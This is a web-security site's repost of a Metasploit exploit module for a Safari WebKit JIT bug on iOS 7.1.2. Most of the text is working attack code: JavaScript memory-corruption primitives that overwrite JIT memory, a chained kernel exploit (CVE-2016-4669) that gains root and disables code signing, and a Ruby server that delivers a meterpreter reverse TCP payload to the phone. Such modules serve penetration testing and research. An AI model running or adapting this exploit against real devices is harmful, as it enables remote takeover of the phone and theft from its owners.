HackDig : Dig high-quality web security articles for hackers

Safari Webkit For iOS 7.1.2 JIT Optimization Bug

2020-08-15 11:50
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Post::File  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',        'Description' => %q{          This module exploits a JIT optimization bug in Safari Webkit. This allows us to          write shellcode to an RWX memory section in JavaScriptCore and execute it. The          shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,          obtains root and disables code signing. Finally we download and execute the          meterpreter payload.          This module has been tested against iOS 7.1.2 on an iPhone 4.        },        'License' => MSF_LICENSE,        'Author' => [          'kudima', # ishell          'Ian Beer', # CVE-2016-4669          'WanderingGlitch', # CVE-2018-4162          'timwr', # metasploit integration        ],        'References' => [          ['CVE', '2016-4669'],          ['CVE', '2018-4162'],          ['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],          ['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],        ],        'Arch' => ARCH_ARMLE,        'Platform' => 'apple_ios',        'DefaultTarget' => 0,        'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },        'Targets' => [[ 'Automatic', {} ]],        'DisclosureDate' => 'Aug 25 2016'      )    )    register_options(      [        OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),        OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])      ]    )    register_advanced_options([      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),    ])  end  def exploit_js    <<~JS      //      // Initial notes.      //      // If we look at publicly available exploits for this kind of      // issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore      // differently interprets the content of arrays based on      // their type, besides object pointers and 64-bit doubles may have      // the same representation.      //      // This is not the case for 32-bit version of JavaScriptCore.      // The details are in runtime/JSCJSValue.h. All JSValues are still      // 64-bit, but for the cells representing objects      // the high 32-bit are always 0xfffffffb (since we only need 32-bit      // to represent a pointer), meaning cell is always a NaN in IEEE754      // representation used for doubles and it is not possible to confuse      // an cell and a IEEE754 encoded double value.      //      // Another difference is how the cells are represented      // in the version of JavaScriptCore by iOS 7.1.2.      // The type of the cell object is determined by m_structure member      // at offset 0 which is a pointer to Structure object.      // On 64-bit systems, at the time [2], [3]      // were published, a 32-bit integer value was used as a structure id.      // And it was possible to deterministically predict that id for      // specific object layout.      //      // The exploit outline.      //      // Let's give a high level description of the steps taken by the      // exploit to get to arbitrary code execution.      //      // 1. We use side effect bug to overwrite butterfly header by confusing      // Double array with ArrayStorage and obtain out of bound (oob) read/write      // into array butterflies allocation area.      //      // 2. Use oob read/write to build addrOf/materialize object primitives,      // by overlapping ArrayStorage length with object pointer part of a cell      // stored in Contiguous array.      //      // 3. Craft a fake Number object in order to leak real object structure      // pointer via a runtime function.      //      // 4. Use leaked structure pointer to build a fake fake object allowing      // as read/write access to a Uint32Array object to obtain arbitrary read/write.      //      // 5. We overwrite rwx memory used for jit code and redirect execution      // to that memory using our arbitrary read/write.      function main(loader, macho) {        // auxillary arrays to facilitate        // 64-bit floats to pointers conversion        var ab  = new ArrayBuffer(8)        var u32 = new Uint32Array(ab);        var f64 = new Float64Array(ab);        function toF64(hi, lo) {          u32[0] = hi;          u32[1] = lo;          return f64[0];        }        function toHILO(f) {          f64[0] = f;          return [u32[0], u32[1]]        }        function printF64(f) {          var u32 = toHILO(f);          return (u32[0].toString(16) + " " + u32[1].toString(16));        }        // arr is an object with a butterfly        //        // cmp is an object we compare with        //        // v is a value assigned to an indexed property,        // gives as ability to change the butterfly        function oob_write(arr, cmp, v, i) {          arr[0] = 1.1;          // place a comparison with an object,          // incorrectly modeled as side effects free          cmp == 1;          // if i less then the butterfly length,          // it simply writes the value, otherwise          // bails to baseline jit, which is going to          // handle the write via a slow path.          arr[i] = v;          return arr[0];        }        function make_oob_array() {          var oob_array;          // allocate an object          var arr = {};          arr.p = 1.1;          // allocate butterfly of size 0x38,          // 8 bytes header and 6 elements. To get the size          // we create an array and inspect its memory          // in jsc command line interpreter.          arr[0] = 1.1;          // toString is triggered during comparison,          var x = {toString: function () {              // convert the butterfly into an              // array storage with two values,              // initial 1.1 64-bit at 0 is going to be placed              // to m_vector and value at 1000 is placed into              // the m_sparceMap              arr[1000] = 2.2;              // allocate a new butterfly right after              // our ArrayStorage. The butterflies are              // allocated continuously regardless              // of the size. For the array we              // get 0x28 bytes, header and 4 elements.              oob_array = [1.1];              return '1';            }          };          // ArrayStorage buttefly--+          //                        |          //                        V          //-8       -4             0             4          //  | pub length | length | m_sparceMap |  m_indexBias |          //          // 8                    0xc        0x10          // | m_numValuesInVector | m_padding | m_vector[0]          //          //0x18         0x20        0x28          // | m_vector[1] | m_vector[2] | m_vector[3]  |          //          //              oob_array butterfly          //                       |          //                       V          //0x30     0x34         0x38   0x40     0x48      0x50          // | pub length | length |  el0 |   el1   |   el2   |          //          // We enter the function with arr butterfly          // backed up by a regular butterfly, during the side effect          // in toString method we turn it into an ArrayStorage,          // and allocate a butterfly right after it. So we          // hopefully get memory layout as on the diagram above.          //          // The compiled code for oob_write, being not aware of the          // shape change, is going to compare 6 to the ArrayStorage          // length (which we set to 1000 in toString) and proceed          // to to write at index 6 relative to ArrayStorage butterfly,          // overwriting the oob_array butterfly header with 64-bit float          // encoded as 0x0000100000001000. Which gives as ability to write          // out of bounds of oob_array up to 0x1000 bytes, hence          // the name oob_array.          var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);          return oob_array;        }        // returns address of an object        function addrOf(o) {          // overwrite ArrayStorage public length          // with the object pointer          oob_array[4] = o;          // retrieve the address as ArrayStorage          // butterfly public length          var r = oobStorage.length;          return r;        }        function materialize(addr) {          // replace ArrayStorage public length          oobStorage.length = addr;          // retrieve the placed address          // as an object          return oob_array[4];        }        function read32(addr) {          var lohi = toHILO(rw0Master.rw0_f2);          // replace m_buffer with our address          rw0Master.rw0_f2 = toF64(lohi[0], addr);          var ret = u32rw[0];          // restore          rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);          return ret;        }        function write32(addr, v) {          var lohi = toHILO(rw0Master.rw0_f2);          rw0Master.rw0_f2 = toF64(lohi[0], addr);          // for some reason if we don't do this          // and the value is negative as a signed int ( > 0x80000000)          // it takes base from a different place          u32rw[0] = v & 0xffffffff;          rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);        }        function testRW32() {          var o = [1.1];          print("--------------- testrw32 -------------");          print("len: " + o.length);          var bfly = read32(addrOf(o)+4);          print("bfly: " + bfly.toString(16));          var len = read32(bfly-8);          print("bfly len: " + len.toString(16));          write32(bfly - 8, 0x10);          var ret = o.length == 0x10;          print("len: " + o.length);          write32(bfly - 8, 1);          print("--------------- testrw32 -------------");          return ret;        }        // dump @len dword        function dumpAddr(addr, len) {          var output = 'addr: ' + addr.toString(16) + "\n";          for (var i=0; i<len; i++) {            output += read32(addr + i*4).toString(16) + " ";            if ((i+1) % 2 == 0) {              output += "\n";            }          }          return output;        }        // prepare the function we are going to        // use to run our macho loader        exec_code = "var o = {};";        for (var i=0; i<200; i++) {          exec_code += "o.p = 1.1;";        }        exec_code += "if (v) alert('exec');";        var exec = new Function('v', exec_code);        // force JavaScriptCore to generate jit code        // for the function        for (var i=0; i<1000; i++)          exec();        // create an object with a Double array butterfly        var arr = {};        arr.p = 1.1;        arr[0] = 1.1;        // force DFG optimization for oob_write function,        // with a write beyond the allocated storage        for (var i=0; i<10000; i++) {          oob_write(arr, {}, 1.1, 1);        }        // prepare a double array which we are going to turn        // into an ArrayStorage later on.        var oobStorage = [];        oobStorage[0] = 1.1;        // create an array with oob read/write        // relative to its butterfly        var oob_array = make_oob_array();        // Allocate an ArrayStorage after oob_array butterfly.        oobStorage[1000] = 2.2;        // convert into Contiguous storage, so we can materialize        // objects        oob_array[4] = {};        // allocate two objects with seven inline properties one after another,        // for fake object crafting        var oo = [];        for (var i=0; i<0x10; i++) {          o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};          oo.push(o);        }        // for some reason if we just do        //var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};        //var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};        // the objects just get some random addressed far apart, and we need        // them allocated one after another.        var fakeObjStore = oo.pop();        // we are going to leak Structure pointer for this object        var structLeaker = oo.pop();        // eventually we want to use it for read/write into typed array,        // and typed array is 0x18 bytes from our experiments.        // To cover all 0x18 bytes, we add four out of line properties        // to the structure we want to leak.        structLeaker.rw0_f1 = 1.1;        structLeaker.rw0_f2 = 1.1;        structLeaker.rw0_f3 = 1.1;        structLeaker.rw0_f4 = 1.1;        print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));        print("structLeaker: " + addrOf(structLeaker).toString(16));        var fakeObjStoreAddr = addrOf(fakeObjStore)        // m_typeInfo offset within a Structure class is 0x34        // m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}        // for Number        // we want to achieve the following layout for fakeObjStore        //        // 0        8       0x10      0x18    0x20    0x28    0x30        // |  1.1   |   1.1   | 1.1    |  1.1  |  1.1   |  1.1 |        //        // 0x30              0x34        0x38     0x40        // | fakeObjStoreAddr  | 0x00008015 |  1.1    |        //        // we materialize fakeObjStoreAddr + 0x30 as an object,        // As we can see the Structure pointer points back to fakeObjStore,        // which is acting as a structure for our object. In that fake        // structure object we craft m_typeInfo as if it was a Number object.        // At offset +0x34 the Structure objects have m_typeInfo member indicating        // the object type.        // For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}        // So we place that value at offset 0x34 relative to the fakeObjStore start.        fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);        var fakeNumber = materialize(fakeObjStoreAddr + 0x30);        // We call a runtime function valueOf on Number, which only verifies        // that m_typeInfo field describes a Number object. Then it reads        // and returns 64-bit float value at object address + 0x10.        //        // In our seven properties object, it's        // going to be a 64-bit word located right after last property. Since        // we have arranged another seven properties object to be placed right        // after fakeObjStore, we are going to get first 8 bytes of        // that cell object which has the following layout.        // 0     4         8        // | m_structure | m_butterfly |        var val = Number.prototype.valueOf.call(fakeNumber);        // get lower 32-bit of a 64-bit float, which is a structure pointer.        var _7pStructAddr = toHILO(val)[1];        print("struct addr: " + _7pStructAddr.toString(16));        // now we are going to use the structure to craft an object        // with properties allowing as read/write access to Uint32Array.        var aabb = new ArrayBuffer(0x20);        // Uint32Array is 0x18 bytes,        // + 0xc  m_impl        // + 0x10 m_storageLength        // + 0x14 m_storage        var u32rw = new Uint32Array(aabb, 4);        // Create a fake object with the structure we leaked before.        // So we can r/w to Uint32Array via out of line properties.        // The ool properties are placed before the butterfly header,        // so we point our fake object butterfly to Uint32Array + 0x28,        // to cover first 0x20 bytes via four out of line properties we added earlier        var objRW0Store = {p1:toF64(_7pStructAddr,  addrOf(u32rw) + 0x28), p2:1.1};        // materialize whatever we put in the first inline property as an object        var rw0Master = materialize(addrOf(objRW0Store) + 8);        // magic        var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};        for (var i=0; i<8; i++) {          read32(addrOf(o));          write32(addrOf(o)+8, 0);        }        //testRW32();        // JSFunction->m_executable        var m_executable = read32(addrOf(exec)+0xc);        // m_executable->m_jitCodeForCall        var jitCodeForCall = read32(m_executable + 0x14) - 1;        print("jit code pointer: " + jitCodeForCall.toString(16));        // Get JSCell::destroy pointer, and pass it        // to the code we are going to execute as an argument        var n = new Number(1.1);        var struct = read32(addrOf(n));        // read methodTable        var classInfo = read32(struct + 0x20);        // read JSCell::destroy        var JSCell_destroy = read32(classInfo + 0x10);        print("JSCell_destroy: " + JSCell_destroy.toString(16));        // overwrite jit code of exec function        for (var i=0; i<loader.length; i++) {          var x = loader[i];          write32(jitCodeForCall+i*4, x);        }        // pass JSCell::destroy pointer and        // the macho file as arguments to our        // macho file loader, so it can get dylib cache slide        var nextBuf = read32(addrOf(macho) + 0x14);        // we pass parameters to the loader as a list of 32-bit words        // places right before the start        write32(jitCodeForCall-4, JSCell_destroy);        write32(jitCodeForCall-8, nextBuf);        print("nextBuf: " + nextBuf.toString(16));        // start our macho loader        print("executing macho...");        exec(true);        print("exec returned");        return;      }      try {        function asciiToUint8Array(str) {          var len = Math.floor((str.length + 4)/4) * 4;          var bytes = new Uint8Array(len);          for (var i=0; i<str.length; i++) {            var code = str.charCodeAt(i);            bytes[i] = code & 0xff;          }          return bytes;        }        // loads base64 encoded payload from the server and converts        // it into a Uint32Array        function loadAsUint32Array(path) {          var xhttp = new XMLHttpRequest();          xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);          xhttp.send();          var payload = atob(xhttp.response);          payload = asciiToUint8Array(payload);          return new Uint32Array(payload.buffer);        }        var loader = loadAsUint32Array("loader.b64");        var macho = loadAsUint32Array("macho.b64");        setTimeout(function() {main(loader, macho);}, 50);      } catch (e) {        print(e + "\n" + e.stack);      }    JS  end  def on_request_uri(cli, request)    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}      print_status("[*] #{request.body}")      send_response(cli, '')      return    end    print_status("Request #{request.uri} from #{request['User-Agent']}")    if request.uri.starts_with? '/loader.b64'      loader_data = exploit_data('CVE-2016-4669', 'loader')      loader_data = Rex::Text.encode_base64(loader_data)      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })      return    elsif request.uri.starts_with? '/macho.b64'      loader_data = exploit_data('CVE-2016-4669', 'macho')      payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"      payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')      loader_data[payload_url_index, payload_url.length] = payload_url      loader_data = Rex::Text.encode_base64(loader_data)      send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })      return    elsif request.uri.starts_with? '/payload'      print_good('Target is vulnerable, sending payload!')      send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })      return    end    jscript = exploit_js    if datastore['DEBUG_EXPLOIT']      debugjs = %Q^print = function(arg) {  var request = new XMLHttpRequest();  request.open("POST", "/print", false);  request.send("" + arg);};^      jscript = "#{debugjs}#{jscript}"    else      jscript.gsub!(///.*$/, '') # strip comments      jscript.gsub!(/^s*prints*(.*?);s*$/, '') # strip print(*);    end    html = <<~HTML      <html>      <body>      <script>      #{jscript}      </script>      </body>      </html>    HTML    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })  endend


Source: 4700800202-BLW/eussi/moc.ytirucesxc

Read:1000 | Comments:0 | Tags: IOS

“Safari Webkit For iOS 7.1.2 JIT Optimization Bug”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud